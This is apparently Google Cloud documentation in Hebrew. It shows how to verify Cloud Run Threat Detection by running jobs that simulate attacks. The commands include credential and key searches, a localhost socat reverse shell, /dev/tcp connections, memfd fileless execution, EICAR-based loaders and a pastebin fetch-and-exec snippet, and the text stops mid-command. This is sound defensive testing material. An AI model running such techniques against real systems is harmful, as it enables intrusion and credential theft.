בדיקה של Cloud Run Threat Detection

בדף הזה מוסבר איך לוודא שהתכונה 'זיהוי איומים ב-Cloud Run' פועלת. לשם כך, צריך להפעיל גלאים בכוונה ולבדוק אם נמצאו ממצאים. Cloud Run Threat Detection הוא שירות מובנה של Security Command Center.

לפני שמתחילים

כדי לזהות איומים פוטנציאליים על השירותים והמשימות שלכם ב-Cloud Run, צריך לוודא ששירות זיהוי האיומים ב-Cloud Run מופעל ב-Security Command Center. חלק מהגלאים מושבתים כברירת מחדל. כדי לבדוק את אמצעי הזיהוי האלה, צריך קודם להפעיל אותם.

הגדרה של משתני סביבה

כדי לבדוק את אמצעי הזיהוי, משתמשים במסוף Google Cloud וב-Cloud Shell. אפשר להגדיר משתני סביבה ב-Cloud Shell כדי להפעיל פקודות בצורה נוחה יותר. תשתמשו במשתנים האלה כדי לבדוק את כל אמצעי הזיהוי.

  1. עוברים אל Google Cloud המסוף.

    כניסה ל Google Cloud מסוף

  2. בוחרים את הפרויקט שמכיל את משימת Cloud Run שרוצים להשתמש בה לבדיקה.

  3. לוחצים על הפעלת Cloud Shell.

  4. ב-Cloud Shell, מגדירים את משתני הסביבה:

    1. מגדירים את הפרויקט והאזור שבהם ייצרו משרות לבדיקה.

      export PROJECT=PROJECT_ID
      export REGION=REGION
      

אחרי שמגדירים את משתני הסביבה, אפשר להמשיך לפעול לפי ההוראות לבדיקת אמצעי הזיהוי.

Command and Control: Steganography Tool Detected

כדי להפעיל ממצא מסוג Command and Control: Steganography Tool Detected (תצוגה מקדימה), מריצים קובץ בינארי עם יכולות מניפולציה של קבצים, באופן שמתאים לכלים של סטגנוגרפיה בתוך מאגר. בדוגמה הזו, המערכת מעתיקה את /bin/ls ומשנה את השם שלו ל-steghide.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-steganography-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/steghide; sleep 60; /tmp/steghide; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא מסוג Command and Control: Steganography Tool Detected.

גישה לפרטי כניסה: איתור Google Cloud פרטי כניסה

כדי להפעיל Credential Access: Find Google Cloud Credentials ממצא, מריצים קובץ בינארי שיכול לחפש תוכן של קובץ בתוך קונטיינר. בדוגמה הזו, הפקודה מעתיקה את /bin/ls, משנה את השם שלו ל-grep ומבצעת אותו עם ארגומנטים חשודים.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-find-creds-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/grep; sleep 60; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא Credential Access: Find Google Cloud Credentials

גישה לפרטי כניסה: סיור במפתח GPG

כדי להפעיל ממצא Credential Access: GPG Key Reconnaissance, מריצים כלי חיפוש עם ארגומנטים חשודים.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-gpg-key-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find secring.gpg; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא Credential Access: GPG Key Reconnaissance

גישה לפרטי כניסה: חיפוש מפתחות פרטיים או סיסמאות

כדי להפעיל ממצא Credential Access: Search Private Keys or Passwords, מריצים כלי חיפוש עם ארגומנטים חשודים.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-search-keys-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find id_rsa; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא מסוג Credential Access: Search Private Keys or Passwords.

התחמקות מהגנה: שורת פקודה של קובץ ELF בקידוד Base64

כדי להפעיל את Defense Evasion: Base64 ELF File Command Line הממצא, מריצים את base64 עם ארגומנטים של כותרת ELF מקודדים.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-base64-elf-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; base64 -d f0VMRgIB; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

תהליך הבדיקה הזה אמור ליצור שתי תוצאות. Defense Evasion: Base64 ELF File Command Line

התחמקות מהגנה: סקריפט Python עם קידוד Base64 הופעל

כדי להפעיל ממצא של Defense Evasion: Base64 Encoded Python Script Executed, מריצים את echo עם פקודת Python מוצפנת.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-base64-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; base64 aW1wb3J0IH; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא Defense Evasion: Base64 Encoded Python Script Executed

התחמקות מהגנה: סקריפט מעטפת בקידוד Base64 הופעל

כדי להפעיל ממצא Defense Evasion: Base64 Encoded Shell Script Executed, מריצים את הפקודה echo עם פקודת מעטפת מקודדת.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-base64-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; base64 IyEvYmluL3NoC; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא Defense Evasion: Base64 Encoded Shell Script Executed

התחמקות מהגנה: הפעלת כלי קומפילציה של קוד במאגר

כדי להפעיל ממצא Defense Evasion: Launch Code Compiler Tool In Container (תצוגה מקדימה), מריצים כלי של קומפיילר.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-launch-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/gcc10; sleep 60; /tmp/gcc10 -o /tmp/gcc10.o; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא מסוג Defense Evasion: Launch Code Compiler Tool In Container.

ביצוע: נוסף קובץ בינארי זדוני שהופעל

כדי להפעיל את זיהוי Execution: Added Malicious Binary Executed, מוסיפים קובץ בינארי זדוני (EICAR) למאגר התגים ומריצים אותו.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-added-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

תהליך הבדיקה הזה יוצר Execution: Added Malicious Binary Executed ממצא.

ביצוע: נוספה טעינה של ספרייה זדונית

כדי להפעיל איתור של Execution: Added Malicious Library Loaded, מוסיפים ספרייה זדונית למאגר התגים וטוענים אותה. בדוגמה הזו, מתבצע עדכון של הקובץ /tmp/test_mal_lib באמצעות ספרייה זדונית מדומה, ואז הספרייה נטענת באמצעות mmap. טעינת הספרייה של קובץ קיים היא בלתי צפויה כי הקובץ לא היה ב קובץ אימג' של קונטיינר המקורית, והספרייה היא קובץ בדיקה של EICAR, שמסווג כ תוכנה זדונית על ידי מודיעין איומי סייבר.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-add-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/test_mal_lib
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
   int fd = open(argv[1], O_RDONLY);
   if (fd == -1) return 1;
   struct stat sb;
   if (fstat(fd, &sb) == -1) return 1;
   void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
   if (addr == MAP_FAILED) return 1;
   write(1, addr, sb.st_size);
   munmap(addr, sb.st_size);
   close(fd);
   return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /tmp/test_mal_lib
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא מסוג Execution: Added Malicious Library Loaded.

ביצוע: פירצה בקונטיינר

כדי להפעיל ממצא Execution: Container Escape, מריצים כלי שמדמה התנהגות של יציאה מהקונטיינר.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/botb-linux-amd64; sleep 60; /tmp/botb-linux-amd64 -autopwn; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא מסוג Execution: Container Escape.

ביצוע: ביצוע ללא קבצים ב-/memfd:

כדי להפעיל Execution: Fileless Execution in /memfd: ממצא, מריצים תהליך ממערכת הקבצים /memfd: בזיכרון באמצעות Python.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-fileless-memfd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
PYTHON_CODE=$(cat <<EOF
import os,sys
f = open('/bin/ls','rb')
execdata = f.read()
f.close()
fd = os.memfd_create('', 0)
fname = '/proc/self/fd/{}'.format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ['/bin']
os.execve(fname, args, os.environ)
EOF
)
B64_PAYLOAD=$(echo "$PYTHON_CODE" | base64 -w 0)
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image python:latest \
      --command bash \
      --args "-c","sleep 60; echo $B64_PAYLOAD | base64 -d | python3 ; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

תהליך הבדיקה הזה יוצר Execution: Fileless Execution in /memfd: ממצא.

הפעלה: הפעלת כלי לתקיפת Kubernetes

כדי להפעיל ממצא של Execution: Kubernetes Attack Tool Execution, מריצים תוכנית שתואמת לכלי תקיפה ידוע.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-k8s-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/amicontained; sleep 60; /tmp/amicontained; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

תהליך הבדיקה הזה יוצר Execution: Kubernetes Attack Tool Execution ממצא.

ביצוע: הרצה של כלי לסיור מקומי

כדי להפעיל ממצא של Execution: Local Reconnaissance Tool Execution, מריצים תוכנה שתואמת לכלי סיור.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-local-recon-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/linenum.sh; sleep 60; /tmp/linenum.sh; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא מסוג Execution: Local Reconnaissance Tool Execution.

הרצה: בוצע Python זדוני

כדי להפעיל ממצא Execution: Malicious Python Executed, מריצים סקריפט Python שמדמה התנהגות זדונית.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
PYTHON_CODE="import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/python:latest \
      --task-timeout 700 \
      --command bash \
      --args "-c","sleep 601; python -c \"${PYTHON_CODE}\" ; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא מסוג Execution: Malicious Python Executed. הערה: יכול להיות שיחלפו עד 15 דקות עד שתוצאות הבדיקה יופיעו.

ביצוע: קובץ בינארי זדוני שונה הופעל

כדי להפעיל ממצא Execution: Modified Malicious Binary Executed, משנים קובץ בינארי כך שיתאים לחתימה זדונית ידועה (EICAR).

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-mod-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא מסוג Execution: Modified Malicious Binary Executed.

ביצוע: ספרייה זדונית ששונתה נטענה

כדי להפעיל איתור של Execution: Modified Malicious Library Loaded, משנים קובץ קיים עם ספרייה זדונית במאגר ומטעינים אותו. בדוגמה הזו, מתבצע עדכון של הקובץ /etc/issue באמצעות ספרייה זדונית מדומה, ואז הספרייה נטענת באמצעות mmap. טעינת הספרייה של קובץ קיים היא לא צפויה כי הספרייה היא קובץ בדיקה של EICAR, שמסווג כזדוני על ידי מודיעין איומי סייבר.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-mod-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /etc/issue
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
   int fd = open(argv[1], O_RDONLY);
   if (fd == -1) return 1;
   struct stat sb;
   if (fstat(fd, &sb) == -1) return 1;
   void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
   if (addr == MAP_FAILED) return 1;
   write(1, addr, sb.st_size);
   munmap(addr, sb.st_size);
   close(fd);
   return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /etc/issue
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

תהליך הבדיקה הזה יוצר ממצא מסוג Execution: Modified Malicious Library Loaded.

ביצוע: נוספה הפעלה של מיומנות זדונית

כדי להפעיל ממצא Execution: Added Malicious Skill Executed, מוסיפים קובץ בינארי של מיומנות זדונית למאגר התגים ומריצים אותו.

יוצרים ומריצים את משימת Cloud Run:

   b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
   JOB_NAME="crtd-test-added-malicious-skill-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","echo '$b64_payload' | base64 -d > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10; sha256sum /tmp/test_mal_file" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא מסוג Execution: Added Malicious Skill Executed.

ביצוע: מיומנות זדונית ששונתה הופעלה

כדי להפעיל ממצא Execution: Modified Malicious Skill Executed, משנים קובץ בינארי כך שיתאים לחתימה של מיומנות זדונית ידועה.

יוצרים ומריצים את משימת Cloud Run:

   b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
   JOB_NAME="crtd-test-mod-malicious-skill-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","echo '$b64_payload' | base64 -d > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10; sha256sum /etc/issue" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא מסוג Execution: Modified Malicious Skill Executed.

ביצוע: נוספה מיומנות זדונית שנטענה

כדי להפעיל איתור של Execution: Added Malicious Skill Loaded, מוסיפים לספריית המיומנויות במאגר התגים ספרייה זדונית וטוענים אותה. בדוגמה הזו, מתבצע עדכון של הקובץ /tmp/test_mal_lib עם ספריית מיומנויות זדונית מדומה, ואז היא נטענת באמצעות mmap. טעינת הספרייה של קובץ קיים היא בלתי צפויה כי הקובץ לא היה בקובץ אימג' של קונטיינר המקורי, והספרייה מכילה גיבוב ספציפי של בדיקה שסווג ככישור זדוני על ידי מודיעין איומי סייבר.

יוצרים ומריצים את משימת Cloud Run:

b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
JOB_NAME="crtd-test-add-malicious-skill-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << EOF2 > ${JOB_NAME}.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo '$b64_payload' | base64 -d > /tmp/test_mal_lib
chmod 700 /tmp/test_mal_lib
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
   int fd = open(argv[1], O_RDONLY);
   if (fd == -1) return 1;
   struct stat sb;
   if (fstat(fd, &sb) == -1) return 1;
   void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
   if (addr == MAP_FAILED) return 1;
   write(1, addr, sb.st_size);
   munmap(addr, sb.st_size);
   close(fd);
   return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /tmp/test_mal_lib
sleep 10
sha256sum /tmp/test_mal_lib
EOF2
ENCODED_SCRIPT=$(base64 -w 0 ${JOB_NAME}.sh)
rm -f ${JOB_NAME}.sh
gcloud run jobs create $JOB_NAME \
   --project $PROJECT \
   --region $REGION \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --command bash \
   --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
   --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא מסוג Execution: Added Malicious Skill Loaded.

ביצוע: מיומנות זדונית ששונתה נטענה

כדי להפעיל איתור של Execution: Modified Malicious Skill Loaded, משנים קובץ קיים עם ספריית מיומנויות זדונית במאגר ומטעינים אותו. בדוגמה הזו, מתבצע עדכון של הקובץ /etc/issue עם ספריית מיומנויות זדונית מדומה, ואז היא נטענת באמצעות mmap. טעינת הספרייה של קובץ קיים היא בלתי צפויה כי הספרייה מכילה גיבוב בדיקה ספציפי שסווג ככישור זדוני על ידי מודיעין איומי סייבר.

יוצרים ומריצים את משימת Cloud Run:

b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
JOB_NAME="crtd-test-mod-malicious-skill-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << EOF2 > ${JOB_NAME}.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo '$b64_payload' | base64 -d > /etc/issue
chmod 700 /etc/issue
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
   int fd = open(argv[1], O_RDONLY);
   if (fd == -1) return 1;
   struct stat sb;
   if (fstat(fd, &sb) == -1) return 1;
   void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
   if (addr == MAP_FAILED) return 1;
   write(1, addr, sb.st_size);
   munmap(addr, sb.st_size);
   close(fd);
   return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /etc/issue
sleep 10
sha256sum /etc/issue
EOF2
ENCODED_SCRIPT=$(base64 -w 0 ${JOB_NAME}.sh)
rm -f ${JOB_NAME}.sh
gcloud run jobs create $JOB_NAME \
   --project $PROJECT \
   --region $REGION \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --command bash \
   --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
   --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

תהליך הבדיקה הזה יוצר ממצא מסוג Execution: Modified Malicious Skill Loaded.

ביצוע: הרצת קוד מרחוק ב-Netcat במאגר

כדי להפעיל אירוע Execution: Netcat Remote Code Execution In Container, מריצים את netcat עם ארגומנטים חשודים.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-netcat-rce-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","cp /bin/ls /tmp/nc; sleep 60; /tmp/nc -e; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא מסוג Execution: Netcat Remote Code Execution In Container.

ביצוע: אפשר להריץ פקודות שרירותיות דרך CUPS‏ (CVE-2024-47076)

כדי להפעיל Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076) ממצא, מריצים סקריפט שמדמה את ניצול הפרצה.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-cups-cve-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c",'sleep 60; cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10' \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

תהליך הבדיקה הזה יוצר Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076) ממצא.

ביצוע: זוהה ביצוע אפשרי של פקודה מרחוק

כדי להפעיל ממצא של Execution: Possible Remote Command Execution Detected (תצוגה מקדימה), מריצים פקודה שמנסה ליצור חיבור מרחוק.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; cp /bin/ls /tmp/touch; echo \"Hello\" | /tmp/touch >& /dev/tcp/8.8.8.8/53; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא מסוג Execution: Possible Remote Command Execution Detected.

הרצה: הפעלת תוכנית עם סביבת Proxy ל-HTTP לא מורשית

כדי להפעיל את איתור Execution: Program Run with Disallowed HTTP Proxy Env, מריצים תוכנית עם משתנה סביבה של פרוקסי לא תקין.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא מסוג Execution: Program Run with Disallowed HTTP Proxy Env.

ביצוע: זוהה reverse shell של Socat

כדי להפעיל ממצא Execution: Socat Reverse Shell Detected, צריך ליצור reverse shell באמצעות כלי השירות socat.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-socat-rev-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
RAW_SOCAT="timeout 10s /usr/bin/socat TCP-LISTEN:4444,reuseaddr,fork STDOUT & sleep 5 && timeout 5s /usr/bin/socat TCP:127.0.0.1:4444 EXEC:/bin/bash,pty,stderr || true"
B64_SOCAT=$(echo -n "$RAW_SOCAT" | base64 | tr -d '\n\r ')
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; apt-get update && apt-get install socat -y && echo $B64_SOCAT | base64 -d | bash" \
      --execute-now \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

תהליך הבדיקה הזה יוצר Execution: Socat Reverse Shell Detected ממצא.

ביצוע: נטען אובייקט משותף חשוד של OpenSSL

כדי להפעיל Execution: Suspicious OpenSSL Shared Object Loadedממצא, מריצים את הפקודה openssl עם ספרייה חשודה.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-openssl-so-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so; sleep 10" \
